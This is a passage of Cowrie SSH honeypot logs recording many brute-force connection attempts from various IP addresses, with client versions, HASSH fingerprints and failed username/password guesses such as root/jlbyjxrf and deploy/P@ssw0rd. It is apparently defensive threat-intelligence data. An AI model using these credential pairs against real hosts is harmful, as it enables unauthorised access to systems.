f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:25.189232Z","src_ip":"186.233.118.22","session":"a47b566a5615","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"qwer1234","message":"login attempt [mysql/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:25.700637Z","src_ip":"186.233.118.22","session":"a47b566a5615","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:26.823482Z","src_ip":"186.233.118.22","session":"a47b566a5615","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.230.127.104","src_port":41502,"dst_ip":"10.17.0.5","dst_port":22,"session":"44561ba193a5","protocol":"ssh","message":"New connection: 213.230.127.104:41502 (10.17.0.5:22) [session: 44561ba193a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:29.796056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:29.802300Z","src_ip":"213.230.127.104","session":"44561ba193a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:29.975613Z","src_ip":"213.230.127.104","session":"44561ba193a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"b","password":"a","message":"login attempt [b/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:30.698199Z","src_ip":"213.230.127.104","session":"44561ba193a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:31.871294Z","src_ip":"213.230.127.104","session":"44561ba193a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:42.039068Z","src_ip":"14.103.118.145","session":"514e8f851e98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":54956,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ff4b49f5093","protocol":"ssh","message":"New connection: 94.159.110.201:54956 (10.17.0.5:22) [session: 5ff4b49f5093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:43.305665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:43.310369Z","src_ip":"94.159.110.201","session":"5ff4b49f5093","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:43.430465Z","src_ip":"94.159.110.201","session":"5ff4b49f5093","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jlbyjxrf","message":"login attempt [root/jlbyjxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:43.788384Z","src_ip":"94.159.110.201","session":"5ff4b49f5093","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:30:44.914894Z","src_ip":"94.159.110.201","session":"5ff4b49f5093","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":55134,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ad77567ce4f","protocol":"ssh","message":"New connection: 171.244.141.86:55134 (10.17.0.5:22) [session: 8ad77567ce4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:00.720151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:00.731784Z","src_ip":"171.244.141.86","session":"8ad77567ce4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:01.026860Z","src_ip":"171.244.141.86","session":"8ad77567ce4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo2","password":"odoo2","message":"login attempt [odoo2/odoo2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:02.028188Z","src_ip":"171.244.141.86","session":"8ad77567ce4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":47794,"dst_ip":"159.203.135.109","dst_port":22,"session":"7106781eb118","protocol":"ssh","message":"New connection: 89.223.69.22:47794 (159.203.135.109:22) [session: 7106781eb118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:03.178961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:03.185066Z","src_ip":"89.223.69.22","session":"7106781eb118","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:03.273222Z","src_ip":"171.244.141.86","session":"8ad77567ce4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:03.301297Z","src_ip":"89.223.69.22","session":"7106781eb118","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rebenok","message":"login attempt [root/rebenok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:03.652380Z","src_ip":"89.223.69.22","session":"7106781eb118","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.190.156.8","src_port":56252,"dst_ip":"10.17.0.5","dst_port":22,"session":"72f35295c61e","protocol":"ssh","message":"New connection: 89.190.156.8:56252 (10.17.0.5:22) [session: 72f35295c61e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:03.808983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:03.814400Z","src_ip":"89.190.156.8","session":"72f35295c61e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:03.896088Z","src_ip":"89.190.156.8","session":"72f35295c61e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"P@ssw0rd","message":"login attempt [deploy/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:04.254810Z","src_ip":"89.190.156.8","session":"72f35295c61e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:04.769687Z","src_ip":"89.223.69.22","session":"7106781eb118","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:05.340547Z","src_ip":"89.190.156.8","session":"72f35295c61e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.107.156.227","src_port":16481,"dst_ip":"10.17.0.5","dst_port":22,"session":"132c3fcf1273","protocol":"ssh","message":"New connection: 222.107.156.227:16481 (10.17.0.5:22) [session: 132c3fcf1273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:39.328312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:39.331952Z","src_ip":"222.107.156.227","session":"132c3fcf1273","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:39.531988Z","src_ip":"222.107.156.227","session":"132c3fcf1273","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456.","message":"login attempt [root/aA123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:40.361114Z","src_ip":"222.107.156.227","session":"132c3fcf1273","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:41.563734Z","src_ip":"222.107.156.227","session":"132c3fcf1273","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":39976,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cfd92e946d3","protocol":"ssh","message":"New connection: 20.203.42.204:39976 (10.17.0.5:22) [session: 4cfd92e946d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:42.124553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:42.129465Z","src_ip":"20.203.42.204","session":"4cfd92e946d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:42.293521Z","src_ip":"20.203.42.204","session":"4cfd92e946d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sandro","password":"sandro","message":"login attempt [sandro/sandro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:42.987725Z","src_ip":"20.203.42.204","session":"4cfd92e946d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:44.157229Z","src_ip":"20.203.42.204","session":"4cfd92e946d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.246.14.196","src_port":35060,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cf7983bf610","protocol":"ssh","message":"New connection: 186.246.14.196:35060 (159.203.135.109:22) [session: 0cf7983bf610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:47.219957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:47.225339Z","src_ip":"186.246.14.196","session":"0cf7983bf610","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:47.397190Z","src_ip":"186.246.14.196","session":"0cf7983bf610","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maill","password":"960..123","message":"login attempt [maill/960..123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:48.114916Z","src_ip":"186.246.14.196","session":"0cf7983bf610","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:49.288850Z","src_ip":"186.246.14.196","session":"0cf7983bf610","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":32794,"dst_ip":"10.17.0.5","dst_port":22,"session":"a859c53dfbca","protocol":"ssh","message":"New connection: 103.149.170.125:32794 (10.17.0.5:22) [session: a859c53dfbca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:50.090594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:50.095429Z","src_ip":"103.149.170.125","session":"a859c53dfbca","protocol":"ssh"}
